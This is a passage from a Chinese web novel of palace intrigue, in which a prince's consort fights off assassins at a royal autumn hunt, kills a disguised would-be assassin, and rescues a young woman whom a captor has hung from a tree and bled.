可能是姜黎婳的眼神有些明目张胆,她有些不好意思的抬眸看向姜黎婳,接着笑了笑,接着低低的喊了一声,“小师姑。”
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第161章 沈归雁
姜黎婳时隔几日再听到这个称呼还是有些不习惯,不过这个姑娘她没有见过,她喊自己师姑的话,那是不是说明...
“你是太傅的女儿?”
女子轻轻颔首,她朝姜黎婳抿嘴笑了笑,“我叫沈归雁,最近在家中总是听爹爹提起您的名字,我一直想见见您的,所以就跟着父兄来了秋猎,今天原本想和你打招呼的,但是你身边一直有人,我就没好意思往你面前凑...嗝...”
沈归雁面红耳赤的捂着脸,“我可能就是今天看太紧张了,所以才会一直打...嗝...”
“走吧,去我营帐,我帮你瞧瞧。”姜黎婳往前看了一眼,“想来这里应该也用不着我。”
姜黎婳带着沈归雁进了自己的营帐,又让知夏去取了银针,她拉过沈归雁的手在她大拇指上扎了一针,“你可能是胀气所致。”
“其实,我是被吓到的,等我情绪平稳了,就好了。”沈归雁红着脸垂下头,“小师姑,我是不是胆子很小?”
姜黎婳有些不解的看了她一眼,“为什么要这么说?你今天看到什么事情了?吓成这样?”
沈归雁抿了抿嘴,她往四周看了一眼,低声道:“我不敢说。”
姜黎婳轻笑,也没有逼她,“那就不说。”
“但是我想说。”沈归雁有些纠结的看着姜黎婳,“我若不说的话,我就会一直担惊受怕的,可是我不敢和我爹爹说,小师姑,我可以悄悄告诉你吗?”
姜黎婳好笑,这沈归雁瞧着与她年纪差不多大,但是心性却和小孩子一样单纯,她笑了笑,“你不怕我告密?”
“小师姑...你不会的,爹爹说你是特别好的人。”
“哦?”
沈归雁嘿嘿一笑,“爹爹说了,师祖收徒只收心性特别好的人,爹爹还说,你既然能当师祖的徒弟,那定然是特别好的人,以后我们家都是你的后家人呢。”
姜黎婳完全不知道自己这个便宜师兄竟然在背后这么支持她,她心头划过一丝暖流,看沈归雁的目光也多了一丝先前没有的慈爱,“好,既然你都喊我师姑了,以后你就是我的乖侄女儿,若是有什么不好拿出来和父母说的秘密,你都可以来找师姑,师姑会帮你保密的。”
沈归雁眼睛一亮,她指着知夏,“那你让她出去守着,我要把我今晚上看到的都告诉你!”
知夏笑着退了出去,“那奴婢就在营帐旁边守着,不让旁人靠近,沈小姐您放心与我们家王妃说您看到的秘密。”
沈归雁闻言脸上的笑容消失了,她拉着姜黎婳的手,低声道,“今夜在宴席上,我觉得无聊,就偷偷跑了出来,然后看到了那裴霜絮进了皇上的龙帐...”
“后来我实在是睡不着,就偷偷溜出来散步,谁知看到了镇国侯世子夫人身边的嬷嬷端着瓷盅去洗,没一会儿就传出了那小姐自杀身亡的消息。”
姜黎婳瞧着沈归雁那一副惊魂未定的表情,眼角抽了抽,她运气这么倒霉,这种事情都能看到?
还是她拥有什么八卦体质啊?
这种史诗级的案发现场,她都能目睹?
还有就是,按照沈归雁的说法,应该是有谁发现了裴霜絮想爬龙床,所以将计就计把人打晕了放在楚明暄床上的,可那暗卫就没能发现这丫头在远处偷看?
还是说暗卫发现了,但是不在意?
“今夜这一切根本不是巧合。”沈归雁见姜黎婳不说话,最后总结了一下,“这肯定是皇储之争的计谋,几个皇子中的一个人利用想爬龙床的裴霜絮,狠狠地重创了二皇子,而皇后娘娘发现了裴霜絮想爬龙床的真相,所以让世子夫人处置了裴霜絮。”
“呵呵。”姜黎婳的笑容有些苍白。
这真不愧是世家大族出来的小姐,这样就能脑补一出大戏了。
“时间不早了,你现在好像也不打嗝了,早些回去歇息吧。”姜黎婳把银针收起来,“别告诉旁人我会医术,这是我们的秘密。”
“好,那我们两人就是相互有秘密的好朋...师姑...嘿嘿...”沈归雁挠了挠头发,“是侄女失言了。”
姜黎婳轻轻拍了沈归雁的肩膀,“我们年纪相仿,你不用如此拘谨,今日的事情你若是不想惹麻烦的话,最好是说给我听了之后就忘了,知道吗?”
沈归雁颔首,“我知道了。”
把沈归雁送走没一会儿,楚御礼回来了,见她坐在桌边发呆,他抬步走过去在她身边的圆凳上坐下,低声问她,“怎么了?”
姜黎婳抬眸看着楚御礼,犹豫了片刻问,“你的手笔?”
“不愧是我的娘子,就是聪明。”楚御礼伸手在姜黎婳的鼻子上轻轻刮了一下,嘴角勾起一抹浅淡的弧度,“单凭沈小姐的几句话,你竟然就能猜到了。”
“只有你的暗卫,在知道是她在偷看之后才不会动手杀了她。”姜黎婳蹙眉,“只是这样会不会惹来麻烦?”
楚御礼眼中闪过一丝诧异,他偏头认真地看着姜黎婳,“为夫还以为你要质问我为何要弄死一个弱女子呢。”
姜黎婳抿了抿嘴,“我是那种不懂事的人?我知道,她是一个有野心也是一个没有底线的人,若她继续活着,她为了权势和地位,一定会给你和母后还有镇国侯府带来无尽的麻烦。”
楚御礼笑了,他伸手拉着姜黎婳的手臂一拽,把人拉到自己腿上坐着,“我就知道我娘子是最善解人意的。”
他说罢沉下脸,“不过我只是告诉了母后裴霜絮的所作所为,让裴霜絮死的决定,是母后和舅母做的。”
他话音落下,外面又传来哭闹声,是慧妃醒了,吵着闹着要见皇帝...
姜黎婳垂眸,“看来今夜注定是个不眠夜了。”
楚御礼轻笑,“这次秋猎想来都不会多安稳的,冽风说这次狩猎的队伍中有很多生面孔。”
“是谁?”姜黎婳眉头微蹙,“冯丞相的人?如今二皇子已经没有了争储的资格,他还要铤而走险?”
“这个就不清楚了。”楚御礼抱着姜黎婳往床榻走去,“先前累着了,就算睡不着也闭上眼睛休息一会儿,其他的还没有发生,咱们就不费那个心思去想了。”
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第162章 拉弓杀人
翌日一早,除了被贬回皇子的楚明暄之外,所有皇子臣子都整装待发陪着皇帝一同去林中狩猎。
姜黎婳一早就被楚御礼拉着换了骑马装,此时的她也站在狩猎的队伍中。
萧景宴看着与楚御礼并肩而立的姜黎婳,眼睛微微一眯,真没想到这个姜黎婳穿着骑装看上去竟然这般英姿飒爽!
若不是因为苏清欢那个贱人当初硬要嫁给他,那姜黎婳这个尤物就是他的了。
这样的人若是哭着在自己的鞭子下面求饶,一定特别美!
他垂在身侧的手逐渐握紧,再等等,他有机会把姜黎婳弄到手。
皇帝因着昨夜楚明暄和裴霜絮的事情,心情很是不好,所以只在整军之后在擂台上说了几句鼓动士气的话就让众人出发狩猎。
楚御礼原本打算和姜黎婳两人共乘一骑,但姜黎婳说狩猎本就是要单独骑一匹马才有意思,非要自己骑一匹马,楚御礼拗不过她,只能让人拉来还算温顺的白马。
姜黎婳瞧着昭临找来的小马驹有些无语地只看了楚御礼一眼,然后强烈要求自己要骏马,不能骑一下汗血宝马,还不能骑一下其他骏马了吗?
直到骏马被昭临牵过来,楚御礼依旧不放心,“这林中地势你不清楚,单独骑一匹马,我担心你...”
“王爷,再啰嗦,咱们就赶不上大部队了。”姜黎婳说着翻身上马,直接策马朝大部队赶过去。
林中。
楚御礼骑马追了上来,见姜黎婳背着弓箭手上还捏着缰绳,那模样若是不知道的还以为是哪个女将军来了。
他笑着驱马上前,“你跟进为夫,不要乱跑。”
两人慢慢往林中深处走去,这时候天上飞过一只鹰,楚御礼取箭上弦拉弓瞄准飞鹰放箭,天上的飞鹰就直直地坠落了下来。
姜黎婳从未见过楚御礼的骑射之术,她眼睛一亮,正要说话,就听到林中传来爽朗的笑声,“不错不错,看来御儿这些日子以来,没有少练习骑射啊。”
“御王殿下天资聪颖,如今身子才恢复短短两月不到,竟然有如此身手,真乃我们楚国之福啊!”
皇帝和两个武将从林中骑着马朝他们走了过来。
楚御礼和姜黎婳二人在马背上朝皇帝抬手行礼,“父皇。”
这时候昭临把落下来的鹰捡了回来,楚御礼看了一眼,笑着道:“儿臣第一次参加秋猎,自然不想让父皇失望。”
“好,不错,看来今日你第一件赏赐已经到手了,朕今日就瞧瞧你今日能从朕这儿拿多少奖赏走。”皇帝说着策马朝另一边而去,跟着皇帝的两个武将朝楚御礼拱了拱手也跟着皇帝离开了。
楚御礼看了一眼皇帝的背影,姜黎婳问,“我们跟过去还是去其他地方?”
“不跟过去。”楚御礼驱马朝林中而去。
秋日的阳光透过金黄的树叶斑驳地洒在楚御礼的后背上,姜黎婳瞧着他笔挺的后背笑着驱马跟了上去。
楚御礼此时回眸,看向姜黎婳,语气温和,“今日恐怕不安生,咱们还是不要走太远了。”
虽然大概猜到了冯丞相的人可能会动手,但是他不清楚冯丞相究竟在这猎场中安排了多少人,他不能带着婳儿冒险。
姜黎婳轻轻颔首,手指摸了摸挂在马背上的弓箭,她到京城之后就再没有摸过弓箭,也不知道今天若真的遇到了他们昨夜猜测的事情,她能不能拉弓杀人。
“殿下小心!”
昭临焦急的声音骤然响起。
随着昭临的声音落下,一只发着光的箭随着楚御礼偏头,擦着楚御礼的脸颊落在地上。
刹那间,十几个黑衣人从灌木丛中跃出,他们手中带着寒光的长剑直指楚御礼。
“有刺客!快来人!”昭临大喊。
楚御礼却顾不得那么多,他飞身朝姜黎婳的马背而去,拉着姜黎婳落在一棵大树下,他目光沉沉地盯着与昭临和冽风他们缠斗在一起的刺客,对姜黎婳沉声道:“藏好,无论发生什么事情都不要出来,除非我们把刺客都解决了。”
他说完长剑出窍冲入战斗,一剑划开一个刺客的咽喉。
冽风和沉鹤两人的功夫更是出神入化,两人几乎招招致命,很快那些刺客就被他们杀得所剩无几。
姜黎婳手中握着自己从马背上取下来的弓箭,眼睛一眨不眨地盯着前方的恶斗,生怕楚御礼有个不测。
她紧张的手心冒汗,就怕自己一眨眼的功夫,楚御礼就受伤了...
一刻钟的时间过去,十几个刺客全部诛灭,楚御礼看了一眼躺在地上的黑衣人,沉着脸对冽风等人道,“搜擦他们身上,看看能搜到什么蛛丝马迹。”
他说罢回头看姜黎婳,对她微微一笑,“为夫今日的表现,是否让...”
他话音未落,就见姜黎婳眼神忽然变得锐利的举起弓箭拉满弓弦朝着他射了过来...
弓箭飞射而出,楚御礼不偏不躲地看着弓箭擦着自己的脸颊朝着后方而去,他回头看去,一个刺客胸口中间直直地倒了下去。
本小章还未完,请点击下一页继续阅读后面精彩内容!楚御礼眼底闪过一丝惊讶,他猛地回头看向姜黎婳,姜黎婳手还颤抖地握着弓...
冽风和沉鹤等人也没想到竟然还有漏网之鱼,他们抬头朝平日瞧着就像十指不沾阳春水的王妃,心中只有一个想法,若不是王妃的话,他们今天肯定得以死谢罪!
就在他们还在愣神的瞬间,姜黎婳大喊,“楚御礼,蹲下!”
楚御礼立刻蹲下,姜黎婳快速取箭拉弓,抬手放箭,一个刺客又落了下来。
冽风等人此时再也容不得多想,立刻把楚御礼和姜黎婳围在中间,他们目光锐利地看向四周,沉鹤道:“这些缩头乌龟不能放回去。”
就在此时数十个刺客又从树上飞身而下,朝着他们攻击而来。
姜黎婳拉弓射箭,楚御礼亦是手握长剑,为她扫去朝她攻击而来的箭矢和刺客...
就在这时候,一个身影忽然从天而降,他握着长刀朝楚御礼的头顶劈了下来。
“楚御礼!”姜黎婳惊呼了一声,丢下弓箭使劲推开楚御礼。
长刀劈下来在地上劈出一条口子。
蒙面男人见姜黎婳坏了自己的好事,眼底闪过一丝杀意,他举着长刀就朝姜黎婳劈了过来,就在这时候,楚御礼长剑朝他刺了过来,蒙面男人侧身躲开,接着他狠狠地看了姜黎婳和楚御礼一眼,飞身离开。
黑衣人看着他离开也飞身而去。
而随着刺客的离开,远处隐约传来了马蹄声。
是援兵...
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第163章 凶手有两拨人
姜黎婳只觉得身上一软直接瘫坐在了地上,刚刚看到了那个黑衣人的眼神,那是真的想要杀了她...
虽然在千钧一发之际,她不知道从哪儿来的勇气跑去推开楚御礼,但现在她想想都觉得后怕...
楚御礼见她倒下,丢下手中的长剑大步过去一把抱住她,发现她人在发抖,他轻轻握住她的手,低声道:“娘子,你又救了为夫。”
他的声音有些沙哑,眼神中还带着一些后怕,“都是我不好,明知道今日秋猎会不安全,却依旧把你带出来。”
姜黎婳抬眸看着楚御礼,眼眶微红,她喃喃道:“我杀人了。”
楚御礼把她搂在怀中,低头亲吻她的头顶,低声道:“你是为了救我,而且那些人本就是来取你我性命的,你若不杀他们,他们就会杀我们,他们死有余辜。”
姜黎婳靠在楚御礼的胸口听着楚御礼的剧烈的心跳,她闭了闭眼睛,骤然见那双锐利要杀了她的眼神又闪现在她眼前,姜黎婳猛地睁开眼睛,她抓紧楚御礼的手,低声道:“殿下!”
“喊我名字。”楚御礼沙哑又低沉的声音打断了她的话,“不许再喊我殿下。”
姜黎婳靠在他怀中,闻着他身上那血腥和汗味混合而成的味道,再听着他这时候说的话,忽然觉得有些无奈,她轻声道,“楚御礼,那个人的眼睛我觉得很眼熟。”
楚御礼眼睛一眯,身形都直了,“是谁?”
“定国公世子萧景宴。”姜黎婳看了一眼涌过来的援兵,低声道:“我觉得我没有看错。”
这时候御林军统领邵文轩大步走了过来,“御王殿下,末将救驾来迟,还请恕罪!”
楚御礼抱着姜黎婳站起来,目光沉沉地看了邵文轩一眼,沉声道,“剩下的就交给邵统领了。”
龙帐中。
龙椅上的皇帝面色铁青,楚御礼站在皇帝面前。
回来的路上姜黎婳因为承受不住压力晕了过去,他把姜黎婳安置在营帐中,还未来得及等太医查看姜黎婳的情况,就被皇帝给喊了过来。
他手臂上和脸颊上都受了伤,不过因为伤势不重,脸颊上被箭矢擦伤的地方已经结痂了。
皇帝看着楚御礼衣裳凌乱的模样,脸色阴沉得快要滴出水来了,自己这嫡子这身体才好了没多久,竟然就有人按捺不住要对他的嫡子动手了。
一向喜怒不形于色的皇帝手掌狠狠地拍在桌案上,震得桌案上的茶盏叮当作响,“查!给朕彻查!”
“光天化日之下竟然敢在皇家猎场行刺亲王!刑部!大理寺!这件事情朕就交给你去查,十日之内,给朕查出真凶!查不到的话,朕要你们的脑袋!”
营帐之内刚被提任刑部尚书不久的前刑部侍郎李重楼抬手擦了擦汗,大理寺卿瞿跃也不敢吭声。
一时之间营帐之内鸦雀无声,众臣低着头尽量缩小自己的存在感。
这谁也没想到,昨天皇室才出了二皇子强迫侯府小姐逼死人家的丑闻,今天这被皇上倚重的御王殿下就遇刺了啊...
这时候冯胜文站了出来,他躬身对着皇帝道:“陛下息怒,此事非同小可,既然那些刺客能混入猎场,必然是...”
“必然是有人里应外合。”楚御礼侧首看着冯胜文,从怀中拿出一把匕首递给皇帝,“父皇,这是儿臣从刺客身上搜到的,这匕首上的纹路像是儿臣瞧着实在是有些熟悉。”
这时候承恩公走了出来,他接过匕首看了一眼,蹙眉道:“这匕首上的纹路和上次御王妃遇刺那些刺客后颈的纹路一样!”
楚御礼脸色一沉,他沉声道:“这种纹路儿臣听说是竖州特有的一种祝祷词,翻译过来就是功成名就。”
冯胜文闻言脸色一变,他猛地看向楚御礼,“御王殿下这是什么意思?是在怀疑老臣吗?”
这种祝祷花纹出了竖州一些老家族其他很少有人知道,因为竖州接近南疆,南疆向来信奉巫蛊之术,以前与南疆来往密切的大家族多少会一些南疆的祝祷文。
而他的祖籍就是竖州!
可楚御礼是怎么知道的?
他这么说是已经确定了?
皇帝眼睛眯起,他冷冷地看向冯胜文,语气莫测,“冯相,还有话说?”
“陛下,老臣冤枉啊!”冯胜文扑通一声跪在地上,哭着道:“陛下,臣对楚国忠心耿耿。怎么会刺杀御王呢?”
皇帝盯着他没说话,冯胜文又哭道:“陛下,您昨夜才下旨断了二皇子争储的后路,臣杀了御王殿下有什么好处啊?求皇上您明鉴啊!”
楚御礼冷眼看着这一幕,眼底闪过一丝冷光,他抬手对着皇帝躬身道:“父皇,儿臣方才也只是陈述了儿臣知道的事实,但光是这竖州的祝祷纹并不能说明丞相就是真凶,况且冯相乃两朝元老,忠心可鉴,想来是不会做出刺杀皇子这种事情来的。”
冯胜文连忙道:“是啊皇上,求您明查啊!”
这时候邵文轩大步从外面走了进来,跪在营帐中央,“陛下,臣发现刺杀御王殿下的刺客乃两批人,有些人后颈有一种神秘的花纹图腾,但有些人的手臂上有兰花图腾。”
皇帝眉头一皱,“兰花图腾?”
邵文轩颔首,“是,那些人手臂上都有一朵蓝色的兰花,那兰花在手臂上栩栩如生,就像从手臂上长出来的一样。”
“查,给朕仔细查,朕要知道究竟是谁要害朕的嫡长子!”皇帝使劲拍着桌子站了起来。
营帐中。
姜黎婳在梦中忽然被惊醒,她猛地睁开眼睛,坐在床边的皇后连忙拉着她的手,“婳儿,你还好吗?”
姜黎婳摇头,她抬眸看去,才瞧见皇后身后吕静雅、裴湘宁和沈归雁都在,甚至还有孟雪莲。
“让母后您担心了。”
皇后叹气,“御儿先前都给本宫说了,今天要不是你,御儿可能连命都没了。”皇后拉着姜黎婳的手,眼中的慈爱越发明显了,“你啊,又救了御儿的命。”
众人听到皇后这话并没有觉得有什么奇怪的,毕竟姜黎婳嫁给楚御礼冲喜,让楚御礼这个病秧子身体恢复的事情,前些日子还是京城津津乐道的。
这时候楚御礼从外面掀帘走了进来,看到姜黎婳醒了,他大步走过来,皇后立刻站起身来给他让了位置,“好了,我们就不打扰你们小两口叙话了,婳儿你好好歇息。”
吕静雅等人欲言又止地看了姜黎婳一眼,但是皇后都这样说了,她们也不好就留,只能也跟着告辞。
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第164章 苏清欢之死
楚御礼给姜黎婳讲了今日龙帐中发生的事情,也说了兰花图腾的事情。
姜黎婳撑着身子要坐起来,她压低声音问楚御礼,“你的意思是萧景宴背后还有其他人?”
楚御礼伸手去扶姜黎婳,等姜黎婳穿好鞋袜在床边坐好了,他才低声道:“这位定国公世子也许并不如表面看上去那般顽劣,近些日子我一直在追查那件少女失踪案的事情,下面的人查到高门贵族的人当中,只有他几乎每两三日就要出城,而且每次都只去城外如意坊。”
姜黎婳垂眸,看来他早有察觉了,这一次这萧景宴还能那么幸运躲过朝廷吗?
“那你能想到定国公世子背后的儿是谁吗?”姜黎婳眉头微蹙,“兰花是楚国什么地方特殊的图腾还是属于哪个大家族的姓氏吗?或者这京中还有哪个人背景比萧景宴强大的人很喜欢兰花?”
这兰花图腾背后真正的主人,说不定就是书中把女主杀死的真凶!
原书中把这人写得很神秘,即便是她用上帝视角看书,都无法猜出那个凶手真正的身份。
这些日子以来,她一直不敢轻举妄动,就是害怕打草惊蛇。
“可是这兰花图腾的人为什么要杀了你?”姜黎婳抬眸看向楚御礼,“少女失踪案你还在追查的事情没几个人知道,那些人为何要冒险?”
楚御礼嘴角勾起一抹浅浅的弧度,他伸手捏着姜黎婳的手指,“我已经让沉鹤派暗卫盯着萧景宴了,只要知道萧景宴暗地里在与何人接触,就不难猜到对方的目的了。”
姜黎婳颔首,“那这秋猎还会继续吗?”
“应该会。”楚御礼有些心疼的看着姜黎婳那略显苍白的脸颊,歉疚的说道:“你第一次**,这两日定然是睡不安稳的,但也只能委屈你和为夫继续在这猎场里面呆上几天了。”
翌日。
楚御礼又随队伍出门狩猎了,他留下昭临亲自守在姜黎婳营帐。
姜黎婳一整夜都在做噩梦,清晨才睡安稳,醒来的时候已经快晌午了。
梳洗之后她独自在营帐中整理昨日的箭囊。
这时候一个小宫女端着热水送了进来,姜黎婳闻声回眸看了一眼,瞧着是前夜给营帐送热水的宫女,姜黎婳眉头微蹙,“又是你。”
宫女端着热水的手微微收紧,她端着热水给姜黎婳行礼,“奴婢是负责给各个营帐送热水的粗使宫女。”
姜黎婳不再看她,“放下就出去吧。”
“是。”宫女应了一声,端着热水朝盆架走去。
姜黎婳拿起帕子擦拭放在桌上的箭矢,一下一下把箭头擦得发亮...
宫女把水盆放在盆架上,看着昨日**却能够幸运地活下来的姜黎婳,她眼睛一眯,从袖中拔出**就朝姜黎婳刺了过去,而一直在擦箭的姜黎婳几乎是在她刺过来的瞬间举起箭划破对方的手腕。
宫女因为手腕的疼痛丢掉手中的**,姜黎婳趁机用力,一把把箭头插入对方肩膀,宫女的额头立刻因为头疼冒出冷汗,姜黎婳冷笑,“不会功夫还学人刺杀,苏清欢你可真出息。”
苏清欢听到姜黎婳喊自己的名字,她震惊的抬头看着姜黎婳,眼底全是不可置信,“你什么时候知道的?”
她摸了一下自己的脸,确定自己的脸上还带着**。
姜黎婳瞧着她的动作,轻嗤了一声,“你可以改变容貌,改变嗓音,但是你变不了你身上那股味道。”
苏清欢使劲闻了一下自己身上的味道,她明明换了熏香了!姜黎婳怎么可能在认出来!
姜黎婳一把拔出箭,苏清欢疼得摔倒在地上,不过此时她也顾不得自己的伤势,她爬起来想逃,姜黎婳冰冷的声音就在她头顶响了起来,“你入帐的时候我就没想过再放过你。”
爬跪在地上的苏清欢闻声抬起头,她看见姜黎婳手握弓箭指着她。
“你要做什么?”苏清欢坐在地上往后退,“姜黎婳你想杀了我?你若杀了我爹爹是不会放过你的!”
“这么说苏建明是没有在矿窑了?”姜黎婳眼睛一眯,开弓拉弦,她语气低沉,“看来萧景宴还是很看重你这个下堂妻的,竟然愿意帮你把那挖矿的父母都给捞出来,可萧景宴有这么大的权利
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吗?”
苏清欢眼睛一亮,她坐直身子,看着姜黎婳,沉声道:“你若杀了我,干娘定会帮我报仇的!”
“干娘?”姜黎婳眼睛一眯,“萧景宴和你在为一个女人办事?”
苏清欢立刻意识到自己失言了,那个女人曾透露过,自己若是敢背叛她,会让她求生不得求死不能!
“我是说我爹娘是不会放过你的!”苏清欢又往后退了两步,她抬头看着姜黎婳,“今日我来刺杀你,就是看不惯你过得比我好,姜黎婳你就是该死!你这种在商贾家中长大的卑贱之人,凭什么当王...”
嗡...
箭矢离弦射入苏清欢的胸口,苏清欢瞪大双眸看向自己的胸口,她吐出一口血鲜血,抬眸看向姜黎婳,她眼底闪过一丝震惊,嘴角流出鲜血...
“你怎么敢...”
姜黎婳怎么敢杀她?
明明应该是她来杀了姜黎婳的!
姜黎婳冷眼看着苏清欢倒在地上,她咬了咬后槽牙,抬步走过去蹲在地上一把拔出苏清欢胸口的箭,鲜血瞬间喷射而出,奄奄一息的苏清欢也瞬间瞪大双眼死不瞑目。
姜黎婳捏着箭羽的手轻轻有些发抖,好一会儿之后,她站起来,扬声喊道:“来人!”
昭临的声音在营帐外面响起,“王妃,有什么吩咐?”
“你进来,把这人拖出去。”姜黎婳沉声道。
昭临大步走进来,看到躺在地上的宫女,他一怔,扑通跪在地上,“属下失职,求王妃责罚!”
姜黎婳摇头,“你也不知道这宫女是刺客,把她脸上的**撕开。”
“**?”昭临两步上前在苏清欢的耳后摸了摸,找到了接口,然后一撕,他震惊,“苏清欢?”
昭临看着苏清欢的尸体,有些疑惑,“这**在楚国并不盛行,是西域独有的易容术,每张**价值千金,苏清欢怎么会...”
“不好了!沈小姐失踪了!”外面的嘈杂声打断了昭临的声音。
姜黎婳把弓箭往桌上一放,沉声对昭临道:“这个刺客交给你处理了,我先出去瞧瞧。”
第165章 沈归雁失踪
姜黎婳冲出营帐就看到沈遇知和沈归昱、沈归离父子三人骑着马带着侍卫往林中而去。
这时候皇后也从自己的营帐中走了出来,跟在她身后的还有贤妃,她们看到姜黎婳,疾步朝姜黎婳这边走过来。
“你怎么出来了?”皇后拉起姜黎婳的手,“昨日受了惊,今日就好好休息,沈小姐的事情,你不必忧心。”
姜黎婳抿嘴,“苏清欢扮作宫女刺杀我,刚刚伏诛。”
皇后心头一震,她偏头看向姜黎婳他们的营帐,此时昭临正好带着人把苏清欢的尸体拖了出来,皇后面露惊讶,“她怎么混进来的?”
“儿臣回来再与您细说。”姜黎婳说罢扬声喊昭临,“备马,随我一同出去!”
“你要去哪儿?”皇**抓住黎婳的手腕,语气低沉,“猎场不安稳,你昨日才**,今日出去的话,不知道会遇到什么情况!”
“母后,我也许知道沈小姐的下落。”姜黎婳想到前天夜里第一次见自己就对自己非常信赖的姑娘,她轻轻推开皇后拉着自己的手,低沉道,“母后,儿臣有分寸。”
她说罢转身大步离开,皇后看着姜黎婳的背影,双手紧紧握住,“来人!快跟紧御王妃!千万不能让御王妃出事了!”
姜黎婳走出营地,昭临已经拉着马在等着了,这时候跟着队伍狩猎回来的萧景宴驱马到了营地,他看到姜黎婳的时候,眉梢一挑,接着朝姜黎婳拱手,“御王妃。”
姜黎婳瞧着他虚情假意的模样直接对他翻了个白眼,接着翻身上马,朝着另一个方向而去。
萧景宴看着姜黎婳离开的方向,眯起了眼睛。
他手指捏着缰绳轻轻摩搓了片刻,正要策马追过去,就听到一个声音喊住他,“萧世子,方才御王妃营帐中**,刺客正是您之前休掉的夫人苏清欢,怕是要麻烦您和我们走一趟了。”
萧景宴眉头一皱。
苏清欢**?
她去刺杀姜黎婳?
蠢货!
都告诉她不准轻举妄动了,她还敢擅自行动!真是愚蠢至极!烂泥扶不上墙!
“她早已经被我休弃,她的所作所为皆与我国公府无关。”萧景宴说罢转身朝营地内走去。
姜黎婳朝着京城的方向追了一路,都没能追到人影。
她拉住缰绳勒停马儿,看着面前的岔路口,嘴角紧紧地抿着,她的能力并没有那么强,她根本不会追踪!
“王妃,那里!”跟着姜黎婳的昭临忽然指着一棵树上挂着的手帕,然后驱马过去,翻身下马捡起手帕,姜黎婳也策马过去,他把手帕递给姜黎婳,姜黎婳打开手帕,手帕上绣着大雁。
“还有这个!”昭临往左边的道路上走了两步,捡起地上的步摇。
姜黎婳几乎立刻策马朝左边追了过去,“这定是沈小姐留下来的,追!”
这条道路越往深处走路越窄,甚至到后面姜黎婳和昭临不得不下马步行,昭临瞧着前方的路,眼底闪过戒备,“王妃跟在属下身后。”
两人穿过灌木一步一步往里面走,走进了另一片树林深处。
两人四周一片安静什么都没有。
“**既然掳走了沈小姐,应该不会来这么偏僻的地方,我们会不会是被人迷惑了视线?”昭临瞧着四周的密林低声问姜黎婳,“咱们不如换一个反方向追?”
姜黎婳抬起手指放在唇边,制止了昭临继续说话,然后低声问,“你没闻到血腥味吗?”
她说罢大步朝前方走去。
昭临连忙跟上姜黎婳的脚步,走了一半,他见姜黎婳猛地停下脚步,看向一处...
一棵大树后面,沈归雁被绑住了手脚倒挂在树上,她的手腕被割了一刀,血不停地往下滴落,而下面放着一个木盆...
那样子就像是小羊羔被放血一样!
昭临心头一震,他正要上前去把沈归雁救下来,就被姜黎婳一把拉到了一棵大树后面,几乎是瞬间,伏在地上的男人拿着牛皮水壶笑着开始往里面装血。
男人是苏子恒。
他眼神贪婪地抬头看了一眼被自己吊在树上的沈归雁,笑着道:“等把你的血装满了这个水壶,你就是我的了!哈哈哈....”
被吊在树上的沈归雁因为失血过多,已经没什么力气了,她听到苏子恒的话,眼底闪过一丝
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恨意,她声音沙哑,语气却冰冷,“我即便是死,也不会便宜你!”
“那你的尸体我也要得到!最近我玩的女人有些多,还从未玩过**呢!”苏子恒疯魔地抬头看着沈归雁,“你可以试试我敢不敢玩你的尸体!”
“我父亲和兄长他们是不会放过你的!”沈归雁咬着牙道,“他们会将你**万段!”
苏子恒冷笑,“这里如此偏僻,等他们找过来,只会找到你被放干血和糟蹋了的尸体!”他站起来,用自己染了血的手摸沈归雁的脸,“谁让你以前对我爱答不理的?现在你不过是我手上待宰的羔羊,你死后就是一个脏了的贱种,是你们沈家的污点,他们甚至都不知道是谁放干了你的血,糟蹋了你!”
苏子恒深深地吸了口气,眼神贪婪,“你的血真香甜,真想喝一口,不过,直接喝你的血应该更好喝吧?”
苏子恒说着拉着沈归雁流血的手就要放在唇上,就在这时候,昭临一个飞踢直接把人踢飞了出去,接着一剑斩断苏子恒的双腿。
苏子恒的惨叫声瞬间遍布整片森林。
昭临也顾不得此时的苏子恒,他飞身上树解开挂着沈归雁的绳子,抱着沈归雁落在地上,姜黎婳在树后撩起衣裳撕下一块里衣大步走过去给沈归雁包扎伤口。
沈归雁看到姜黎婳的脸,她扯了扯嘴角,“师姑,你来救我了。”
姜黎婳想到沈归雁刚刚被挂在树上的模样,她咬了咬嘴唇,“你别说话了,留点力气。”
她弯腰去背沈归雁,“我们先回去。”
她看了昭临一眼,沉声道:“这苏子恒定然和那些少女失踪案有关,带回去吧。”
昭临一把拖着疼得快要晕过去的苏子恒往林外走去。
这时候皇后派来保护姜黎婳的侍卫也到了,姜黎婳沉沉地看了那些人一眼,冷声道:“把那盆子端上。”
此时此刻姜黎婳无比庆幸自己相信了直觉,若是她没能及时赶到,沈归雁被找到的时候是什么样的惨状,她都不敢想象。
沈归雁趴在姜黎婳的背上,无力地阖上眼睛,“真没想到我竟然是被师姑您救下来的。”
第166章 他想喝她的血吃她的肉
回到营地。
姜黎婳直接把沈归雁带回了自己的营帐,自己给沈归雁诊脉确认了没有大碍之后,她让人去请了太医过来照料沈归雁,并让昭临叫人去给沈遇知等人传信,说沈归雁找到了。
一个时辰后,龙帐中。
被昭临劈断了双腿的苏子恒趴在地上,因为被斩断了双腿,加上从林中出来的一路他都是被昭临拖着走出来的,此时他身上的衣裳已经破烂不堪,他那原本还有几分英俊的脸此时也又脏又苍白,加上血迹几乎染红了全身,看上去甚是骇人。
姜黎婳跪在地上把今日的事情经过说了一遍,皇帝抬手让她起来,然后看向趴在地上那个快要**的苏子恒,“苏子恒!你该当何罪?”
“罪?”苏子恒嘴角勾起一抹诡谲的笑容,他偏头看向巴不得把自己生吞活剥了的沈遇知,痴痴地笑了,“我不过是太喜欢她了,情难自禁,所以才把她掳走,想喝了她的血,吃了她的肉,让她和我混为一体,我这明明是用情至深,怎么叫有罪呢?”
“畜生!”一向温文尔雅的沈遇知狠狠地朝苏子恒踹了一脚,“你这个畜生!”
“你猪狗不如的东西!”沈归离和沈归昱也气急了,兄弟两人也目赤欲裂的朝苏子恒狠狠地踹了好几脚,“我们弄死你!”
皇帝瞧着失去理智的父子三人,眉头一皱,沉声道:“太傅!”
沈遇知颤抖着身子朝着皇帝跪了下去,此时的他看上去比以往苍老了不少。
他抬头看着坐在龙椅上的皇帝,语气悲凉,“陛下,臣想到女儿差点遭遇不测,这畜生还说要喝她的血吃她的肉,臣就气不过啊!”
“今日若不是御王妃赶到及时,臣的女儿就没命了啊!”他偏头看着木盆中的血,泪水止不住的落下来,“这个畜生他是真的要放干我女儿的血啊!”
